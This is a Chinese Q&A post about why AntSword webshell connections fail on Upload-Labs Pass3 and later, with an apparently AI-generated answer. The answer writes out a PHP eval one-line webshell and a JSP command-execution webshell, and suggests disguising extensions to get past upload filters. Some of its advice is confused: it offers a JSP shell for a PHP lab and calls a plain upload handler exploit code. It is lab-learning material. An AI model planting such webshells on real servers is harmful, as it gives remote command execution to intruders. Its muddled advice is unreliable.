upload-labs文件上传

Question

哪位哥知道upload的pass3往后用蚁剑连接但返回数据为空是为什么吗？pass1，2都没问题

Answer 1

下午好🌅🌅🌅
本答案参考通义千问

你提到的 Upload-Labs 是一个用于练习文件上传漏洞的靶场平台，其中 Pass3 及之后的关卡可能存在更复杂的过滤机制。你提到在 Pass3 及之后使用 蚁剑（AntSword） 连接时返回数据为空，而 Pass1、Pass2 没问题，这可能是由于以下原因造成的。

---

一、可能的原因分析

1. 文件上传路径或权限问题

• 蚁剑连接的是上传后的文件路径，如果上传的文件没有被正确保存到 Web 目录下，或者服务器对上传路径有严格限制，可能导致无法访问。
• 重点：检查上传路径是否为 Web 根目录下的有效路径，例如 /var/www/html/ 或 /upload/。

2. 文件名过滤或后缀验证

• Pass3 及之后的关卡可能会增加对文件名和扩展名的严格校验，比如只允许 .jpg、.png 等图片格式。
• 即使你上传了 .php 文件，服务器也可能将其重命名或拒绝上传。

3. 文件内容过滤

• 有些关卡会对文件内容进行检测，比如通过正则表达式判断是否包含 <?php 或 eval 等关键字，导致文件被拦截。
• 重点：确保上传的文件内容不会被过滤器识别为恶意代码。

4. 蚁剑配置错误

• 如果蚁剑配置的 URL 不正确，或者目标站点未正确部署，也会导致连接失败。
• 重点：确认蚁剑中填写的 URL 是否正确，并且能正常访问。

5. 服务器端反爬或安全策略

• 有些靶场会加入一些反爬虫或安全策略，如限制请求频率、User-Agent 检测等，导致蚁剑无法正常连接。

---

二、解决方案（有序列表）

1. 检查上传路径和文件位置

   • 确保上传的文件位于 Web 服务器根目录下，例如：

     /var/www/html/upload/
     

   • 使用浏览器访问该文件，确认能否正常打开，例如：

     http://target.com/upload/yourfile.php
     

2. 修改上传文件名与后缀

   • 尝试使用更隐蔽的文件名，如 1.jpg 或 1.png，并确保其内容不被过滤。
   • 例如，你可以将 .php 文件改名为 .jpg，但内容仍然是 PHP 代码。

3. 修改上传文件内容以绕过过滤器

   • 避免使用 <?php 开头，可以使用：

     <?php eval($_POST['cmd']); ?>
     

     改为：

     <%@ page import="java.io.*" %>
     <%
         String cmd = request.getParameter("cmd");
         if (cmd != null) {
             Process p = Runtime.getRuntime().exec(cmd);
             BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));
             String line;
             while ((line = in.readLine()) != null) {
                 out.println(line);
             }
         }
     %>
     

     （适用于 JSP 文件）

4. 检查蚁剑配置

   • 打开蚁剑，进入 “站点” > “添加站点”，填写正确的 URL 和路径。
   • 确保 “WebRoot” 设置为上传文件所在目录，例如：

     http://target.com/upload/
     

5. 尝试其他工具或方法

   • 如果蚁剑无法连接，可以尝试使用 菜刀（Cknife） 或 Pangolin 等工具测试。
   • 也可以尝试手动构造请求，例如使用 curl 或 Postman 发送 POST 请求上传文件。

6. 查看服务器日志

   • 如果你是管理员，可以查看 Web 服务器（如 Apache 或 Nginx）的日志，确认上传是否成功。
   • 日志路径一般为：

     /var/log/apache2/access.log
     /var/log/nginx/access.log
     

---

三、示例代码（PHP 文件上传漏洞利用）

<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $target_dir = "upload/";
    $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
    $uploadOk = 1;
    $imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

    // 检查文件是否存在
    if (file_exists($target_file)) {
        echo "文件已存在.";
        $uploadOk = 0;
    }

    // 允许的文件类型
    if ($imageFileType != "jpg" && $imageFileType != "jpeg" && $imageFileType != "png" && $imageFileType != "gif") {
        echo "只允许上传 JPG、JPEG、PNG 和 GIF 文件.";
        $uploadOk = 0;
    }

    // 尝试上传
    if ($uploadOk == 0) {
        echo "文件上传失败.";
    } else {
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            echo "文件 " . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " 已上传.";
        } else {
            echo "文件上传失败.";
        }
    }
}
?>

注意：以上代码仅用于学习和测试目的，不得用于非法用途。

---

四、总结

| 原因 | 解决方案 | |------|----------| | 上传路径错误 | 确认文件在 Web 根目录下 | | 文件名/后缀被过滤 | 修改文件名和后缀 | | 文件内容被过滤 | 修改文件内容避免触发规则 | | 蚁剑配置错误 | 检查 URL 和 WebRoot 配置 | | 服务器安全策略 | 查看日志，尝试其他工具 |

---

如果你能提供具体的上传页面代码或报错信息，我可以进一步帮你定位问题。